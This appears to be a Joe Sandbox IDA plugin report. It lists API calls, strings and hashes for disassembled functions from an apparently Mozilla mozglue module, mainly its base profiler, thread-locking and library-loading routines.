Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll$D($/
API String ID: 1702738223-2109536669
Opcode ID: cb4276767ac36fa5c5de5e3d1684786954954c81c9e65e4fc8a446944f11b913
Instruction ID: 70930c408c93f775c26f39885870840c870e1962fed9444d3cd00099c6c1d6ff
Opcode Fuzzy Hash: cb4276767ac36fa5c5de5e3d1684786954954c81c9e65e4fc8a446944f11b913
Instruction Fuzzy Hash: D161F1B4A00345AFEB248F65EC49BA57BB8FB4A708F08C55CE5049B641D7708AC6DFE0

Function 6CAAE8B0 Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CAAB9F1,?), ref: 6CAA7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAADCF5), ref: 6CAAE92D
GetCurrentThreadId.KERNEL32 ref: 6CAAEA4F
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEA5C
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEA80
GetCurrentThreadId.KERNEL32 ref: 6CAAEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CAADCF5), ref: 6CAAEA92
GetCurrentThreadId.KERNEL32 ref: 6CAAEB11
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CAAEB3C
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEB5B

Part of subcall function 6CAA5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAAEB71), ref: 6CAA57AB

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CAAEBAC

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAEBC1
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000), ref: 6CAAEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CAAEBE5
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8,00000000), ref: 6CAAEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAEC46
CloseHandle.KERNEL32(?), ref: 6CAAEC55
free.MOZGLUE(00000000), ref: 6CAAEC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CAAEBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CAAEA9B
D($/, xrefs: 6CAAE8BE

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start$D($/
API String ID: 1341148965-1194595940
Opcode ID: 7cfaedeba0451fe6629392f0d61fca25310ef043f9ee08deb73079b11c732147
Instruction ID: e6ec486ea2cd3d71280ba1de068dc79d745762ed5fd79617bbdff6f7d7c7e06d
Opcode Fuzzy Hash: 7cfaedeba0451fe6629392f0d61fca25310ef043f9ee08deb73079b11c732147
Instruction Fuzzy Hash: AFA167317017058FDB049FA8E848BA677B5FF8A308F14812DE91987B50DB31989BDBE1

Function 6CAAF6E0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CAAF8F9

Part of subcall function 6CA76390: GetCurrentThreadId.KERNEL32 ref: 6CA763D0
Part of subcall function 6CA76390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA763DF
Part of subcall function 6CA76390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA7640E

ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF93A
GetCurrentThreadId.KERNEL32 ref: 6CAAF98A
GetCurrentThreadId.KERNEL32 ref: 6CAAF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF716

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

Part of subcall function 6CA6B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA6B5E0

GetCurrentThreadId.KERNEL32 ref: 6CAAF739
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAF746
GetCurrentThreadId.KERNEL32 ref: 6CAAF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAE385B,00000002,?,?,?,?,?), ref: 6CAAF829
free.MOZGLUE(?,?,00000000,?), ref: 6CAAF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CAAF866
free.MOZGLUE(?), ref: 6CAAFA0C

Part of subcall function 6CA75E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA75E8C
Part of subcall function 6CA75E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75E9D
Part of subcall function 6CA75E60: GetCurrentThreadId.KERNEL32 ref: 6CA75EAB
Part of subcall function 6CA75E60: GetCurrentThreadId.KERNEL32 ref: 6CA75EB8
Part of subcall function 6CA75E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75ECF
Part of subcall function 6CA75E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA75F27
Part of subcall function 6CA75E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA75F47
Part of subcall function 6CA75E60: GetCurrentProcess.KERNEL32 ref: 6CA75F53
Part of subcall function 6CA75E60: GetCurrentThread.KERNEL32 ref: 6CA75F5C
Part of subcall function 6CA75E60: GetCurrentProcess.KERNEL32 ref: 6CA75F66
Part of subcall function 6CA75E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA75F7E

free.MOZGLUE(?), ref: 6CAAF9C5
free.MOZGLUE(?), ref: 6CAAF9DA

Strings

Thread , xrefs: 6CAAF789
" attempted to re-register as ", xrefs: 6CAAF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CAAF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CAAF71F
D($/, xrefs: 6CAAF6F2

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s$D($/
API String ID: 882766088-3020700170
Opcode ID: f6db992c2fc80a39413fb048e0ddbf371d24e5c6cb799af4c8e7829cdb2a34ef
Instruction ID: e73361ecbd8f98b3354b3eb6bdc32e64180a42ec7b61a882be8e15e3011d4227
Opcode Fuzzy Hash: f6db992c2fc80a39413fb048e0ddbf371d24e5c6cb799af4c8e7829cdb2a34ef
Instruction Fuzzy Hash: 748106716053009FD714DFA4DD44AAAB7B5FF89308F44851DE8469BB51EB30988ECBE2

Function 6CAAEE40 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEE60
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEE6D
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAEEA5
CloseHandle.KERNEL32(?), ref: 6CAAEEB4
free.MOZGLUE(00000000), ref: 6CAAEEBB
GetCurrentThreadId.KERNEL32 ref: 6CAAEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAEECF

Part of subcall function 6CAADE60: GetCurrentThreadId.KERNEL32 ref: 6CAADE73
Part of subcall function 6CAADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA74A68), ref: 6CAADE7B
Part of subcall function 6CAADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA74A68), ref: 6CAADEB8
Part of subcall function 6CAADE60: free.MOZGLUE(00000000,?,6CA74A68), ref: 6CAADEFE
Part of subcall function 6CAADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAADF38

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAAEF1E
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEF2B
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEF59
GetCurrentThreadId.KERNEL32 ref: 6CAAEFB0
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEFBD
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAEFE1
GetCurrentThreadId.KERNEL32 ref: 6CAAEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAF000

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAAF02F

Part of subcall function 6CAAF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAAF09B
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAAF0AC
Part of subcall function 6CAAF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAAF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CAAF008
[I %d/%d] profiler_stop, xrefs: 6CAAEED7
D($/, xrefs: 6CAAEF8A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop$D($/
API String ID: 16519850-1640192627
Opcode ID: 2b9c7e1e6a9f3b14b86a1fd7a614cfdde834a926bae572b18d6ac6cf6f273a6b
Instruction ID: 64fb7f010774b97e96e1b451fc347869f709ff33e20db716095ee608fb9000e0
Opcode Fuzzy Hash: 2b9c7e1e6a9f3b14b86a1fd7a614cfdde834a926bae572b18d6ac6cf6f273a6b
Instruction Fuzzy Hash: 955148316013029FDB585BA8FC0D7A57BB4EB4E318F14862DE91583B40D772489BE7E6

Function 6CA77FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CA78007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CA7801D

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CA7802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CA7803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CA7808D

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CA7809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CA780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA7810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA78133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CA78149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CA78167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CA7817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA78199

Strings

D($/, xrefs: 6CA77FDC

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: D($/
API String ID: 2721933968-324952136
Opcode ID: 4408f8ac0e7be7cb3272b7258123c9f4d3f6cfeb0e3aefac369a376fb791898e
Instruction ID: 360d1d17e49fecfd684444ae392ec8b35b8e260a1be9f7ceeef3af99bfabd0f9
Opcode Fuzzy Hash: 4408f8ac0e7be7cb3272b7258123c9f4d3f6cfeb0e3aefac369a376fb791898e
Instruction Fuzzy Hash: 1A5196B5E002145BDF10DBA5DD84AEFB7B9BF49224F280125E815F7741E730A949CBB1

Function 6CA75E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75E9D

Part of subcall function 6CA85B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA856EE,?,00000001), ref: 6CA85B85
Part of subcall function 6CA85B50: EnterCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85B90
Part of subcall function 6CA85B50: LeaveCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85BD8
Part of subcall function 6CA85B50: GetTickCount64.KERNEL32 ref: 6CA85BE4

GetCurrentThreadId.KERNEL32 ref: 6CA75EAB
GetCurrentThreadId.KERNEL32 ref: 6CA75EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA75ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA76017

Part of subcall function 6CA64310: moz_xmalloc.MOZGLUE(00000010,?,6CA642D2), ref: 6CA6436A
Part of subcall function 6CA64310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA642D2), ref: 6CA64387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA75F47
GetCurrentProcess.KERNEL32 ref: 6CA75F53
GetCurrentThread.KERNEL32 ref: 6CA75F5C
GetCurrentProcess.KERNEL32 ref: 6CA75F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA75F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA75F27

Part of subcall function 6CA7CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA7CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA75E8C

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA7605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA755E1), ref: 6CA760CC

Strings

GeckoMain, xrefs: 6CA75ECE, 6CA76015
D($/, xrefs: 6CA75E70

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain$D($/
API String ID: 3711609982-1003320662
Opcode ID: 8bead3da9592a00099b137b92da6cc61708deca8a50003c785fae2b96b0fa193
Instruction ID: 52bc7d3d41454546f47034035fff375ce945cd24c8125be7df4a624d5f59eacd
Opcode Fuzzy Hash: 8bead3da9592a00099b137b92da6cc61708deca8a50003c785fae2b96b0fa193
Instruction Fuzzy Hash: 7F7137B4605741CFD714DF28D584A6ABBF0FF4A308F14892DE48687B52D730E989CBA2

Function 6CA79590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA63217
Part of subcall function 6CA631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA63236
Part of subcall function 6CA631C0: FreeLibrary.KERNEL32 ref: 6CA6324B
Part of subcall function 6CA631C0: __Init_thread_footer.LIBCMT ref: 6CA63260
Part of subcall function 6CA631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA6327F
Part of subcall function 6CA631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6328E
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632AB
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA632D1
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA632E5
Part of subcall function 6CA631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA79675
__Init_thread_footer.LIBCMT ref: 6CA79697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA79707
__Init_thread_footer.LIBCMT ref: 6CA7971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA797B7
FreeLibrary.KERNEL32 ref: 6CA797D0
FreeLibrary.KERNEL32 ref: 6CA797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79824

Strings

ntdll.dll, xrefs: 6CA796E3
NtMapViewOfSection, xrefs: 6CA79701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA79670
D($/, xrefs: 6CA7959E, 6CA79632
MapViewOfFileNuma2, xrefs: 6CA797B1

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll$D($/
API String ID: 3361784254-4047011252
Opcode ID: ac1afd3136beafdc097a6f953201ee631958defbca15bd7cf83bc4379aa8e594
Instruction ID: aed25b8c25614024c2c02b7bdf61a6caa50020d89fa157567bc4c59b4b28b33a
Opcode Fuzzy Hash: ac1afd3136beafdc097a6f953201ee631958defbca15bd7cf83bc4379aa8e594
Instruction Fuzzy Hash: 1D61C1756003029BDF148F79ED88A9A3BB5FB4E314F04861EE91587B80E7349885DBE1

Function 6CABD4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD52A
GetCurrentThreadId.KERNEL32 ref: 6CABD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD55F
free.MOZGLUE(00000000), ref: 6CABD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CABD5D3
GetCurrentThreadId.KERNEL32 ref: 6CABD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD652
GetCurrentThreadId.KERNEL32 ref: 6CABD658
